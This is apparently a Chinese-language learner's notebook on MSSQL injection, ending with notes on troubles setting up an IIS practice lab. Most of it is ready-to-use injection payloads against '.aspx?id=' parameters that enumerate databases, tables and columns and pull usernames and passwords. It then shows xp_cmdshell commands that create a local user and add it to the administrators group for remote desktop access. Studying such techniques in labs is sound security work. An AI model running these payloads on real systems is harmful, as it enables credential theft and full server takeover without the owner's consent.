type
status
date
slug
summary
tags
category
icon
password
一、基础语句部分
三个权限:
- sa最高权限
- db相当于user-administrator
- public(数据库操作权限,相当于guest-users)、
自带系统表:sysobjects,其中需要用到的三个字段
- NAME:表名信息
- XTYPE:表的类型,S代表系统自带表,U代表用户创建的表
- ID:id字段的值用来连接syscolumns表
常用的函数
当前数据库版本 @@version
当前数据库名称 db_name()
查询当前用户 user
查询数据库权限 IS_SRVROLEMEMBER()
常用权限:sysadmin、serveradmin、setupadmin、securityadmin、diskadmin、bulkadmin
select IS_SRVROLEMEMBER('sysadmin');如果返回1则证明有相应权限
增删改查
- 查找用户创建的表和它的id
select * from sysobjects where XTYPE="U";
- 根据表的id字段
select * from syscolumns where id=2073058421;
- 查值
select username from
table;
- 插入,修改,删除数据,与mysql一样
- 注释符跟mysql一样
--为单行注释,/**/为多行注释
二、手注部分
- 判断是否是mssql数据库
?id=1 and (select count(*) from sysobjects)>0
- 判断权限(srvrolemember)
.aspx?id=1 and 1=(select IS_SRVROLEMEMBER('sysadmin'));—- 查看数据库版本,当前数据库名
.aspx?id=db_name()
?id=1 and 1=(select @@version)
?id=@@version
?id=1 and 1=(select db_name())数据库名称获取
- 获取第一个用户数据库的名称
?id=1 and 1=(select top 1 name from master..sysdatabases where dbid>4)解释:
top 1 是一个SQL查询的子句,它用于查询结果只显示首条记录。master..sysdatabases :在mssql系统默认数据库master 的系统视图dbid>4 :mssql靠dbid来区分数据库名!前面4个id号是默认mssql数据库自带的:
- 获取第二个用户数据库名称(第一个数据库名为test)
.aspx?id=1 and 1=(select top 1 name from master..sysdatabases where dbid>4 and name !='test')或者
.aspx?id=1 and 1=(select top 1 name from master..sysdatabases where dbid>5)- 第三个就以此类推。
and name !=test and name !=test1或者dbid>6
- 获取所有数据库的名字
.aspx?id=1 and 1=(select name from master..sysdatabases for xml path)for xml path的意思就是将查询结果集以XML形式展现!获取表名
- 获取当前网站数据库的第一个表
.aspx?id=1 and 1=(select top 1 name from sysobjects where xtype='u')- 类比上面的方法获取第二个表
.aspx?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name !='users')- 爆出所有表名
.aspx?id=1 and 1=(select name from sysobjects for xml path)获取列名
- 第一列
.aspx?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name='users'))- 第二列
.aspx?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name='users') and name !='id')- 第三列
.aspx?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name='users') and name !='id' and name !='username')获取数据
- 获取账号
username的值
.aspx?id=1 and 1=(select top 1 username from users).aspx?id=1 and 1=(select top 1 password from users)- 获取第二个账号的密码
.aspx?id=1 and 1=(select top 1 username from users where id=2).aspx?id=1 and 1=(select top 1 password from users where id=2)三、xp_cmdshell提权
前提:
- 网站权限sa即sysadmin
- xp_cmdshell存在(
SQL中运行系统命令行的系统存储过程,它存在就可以执行系统命令)
- 判断
xp_cmdshell是否存在:
.aspx?id=1 and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')页面返回正常,说明
xp_cmdshell开启了的!xp_cmdshell默认在mssql_2000中是开启的,在mssql_2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重新开启它。- 添加账户
.aspx?id=1 ;exec master..xp_cmdshell "net user saul saul123 /add"- 把
saul用户添加到管理员组:
.aspx?id=1 ;exec master..xp_cmdshell "net localgroup administrators saul /add"- 此时如果目标是外网那么我们就可以用此帐密登录到它的远程桌面
靶场学习
部分环境踩坑
电脑上IIS需要安装的模块:https://www.cnblogs.com/Can-daydayup/p/15340302.html
问题:IIS HTTP 错误 404.3 - Not Found 由于扩展配置问题而无法提供您请求的页面。如果该页面是脚本,请添加处理程序。如果应下载文件,请添加 MIME 映射。(这个也可能是上面模块未安装全的问题)
问题:HTTP 错误 500.24 - Internal Server Error 检测到在集成的托管管道模式下不适用的 ASP.NET 设置。

环境解决后:按照这个配置一便(我是看着这个一个个配完后,会遇到上面的错误)
此时,进入页面有新报错

解决办法放在下图中,



解决了,网页又出现新报错

win10版本太高,不兼容,这个问题无法解决。之后换win2008再说